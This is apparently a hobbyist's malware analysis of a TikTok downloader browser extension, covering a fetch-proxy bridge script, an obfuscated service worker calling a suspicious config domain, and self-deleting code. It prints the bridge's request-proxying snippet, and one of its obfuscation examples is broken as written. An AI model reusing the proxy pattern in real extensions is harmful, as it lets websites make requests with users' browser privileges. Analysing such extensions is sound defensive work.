TIKTOK VIDEO KEEPER V3.8 MALICIOUS CODE

1)  bridge_script.js  -  (completely unnecessary code file):
This file listens for messages from web pages and proxies `fetch` requests. This can be used to bypass CORS and perform actions on behalf of the user, often seen in malicious extensions. Here's an example of what was found.

        if (e.data.action && "tiktak_query" === e.data.action) {
           let t = e.data.url, i = e.data.options;
           fetch(t, i).then((e => e.json()))
           .then((e => { window.postMessage({ action: "tiktak_response", res: e }, "*") }))
           .catch((e => { window.postMessage({ action: "tiktak_response", res: null }, "*") }))

This can enable external websites to make arbitrary requests using your browser’s privileges, often leading to data leaks or unauthorized actions.

2) sw.js (Service Worker)  -   (red flags):
This one handles TikTok data extraction and download functionality but is highly obfuscated and contains various patterns often associated with malicious extensions. It includes references to external services like:

     check.qippin.com/config.json

This is a known suspicious domain. It's used in many questionable extensions for configuration updates, which can introduce malicious behavior post-installation.
Here is an example of what obfuscated code looks like:
     
	 var a='f',b='ro',c='mC',d='har',e='Code';eval(String[a+b+c+d+e(114,101,116,117,114,110,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110));

which decodes to: 

	 return window.location

However, the kind of techniques in this extension were more like the following:

     var a,b,c,d;for(a=0;a<100;a++){b=String.fromCharCode(a+30);c=b+d;}

Which becomes difficult for anyone to parse rather quickly.

3) popup.js  -  (bundling and more obfuscation):
This file was minified and bundled with several references to `chrome.runtime.getURL()` and dynamic DOM manipulation. While not inherently malicious, this pattern often appears in extensions that may later inject scripts or change behavior dynamically, things like interaction with file downloads and TikTok video extraction.
Nonetheless, the amount of code obfuscation in this extension was beyond what you would normally see or what is necessary to hide things like corporate trade secrets and the such (which is often why such tactics are used). Logically, the only reason to hide any amount of code for an extension of this type is so that nobody can figure out what the code is doing and where the information its stealing is being sent.

4) app.js  -   (whitespace bugs, vanishing act):
A primary goal of mine initially was to see if I could 'clean out' the malware and return a still functioning extension. By this point I was using AI to assist in the task of decoding and searching. The app.js. file is actually extremely long. Two different LLM's pointed out that hidden whitespace characters were likely deployed throughout the code to make unobfuscating even harder, especially for automation.
Lastly, I copied over a version 3 manifest from a working project and changed what was needed. Unfortunately, the extension and all its files completely vanished from disk the second the code ran. Thankfully I did all of this in a sandboxed instance of Thorium.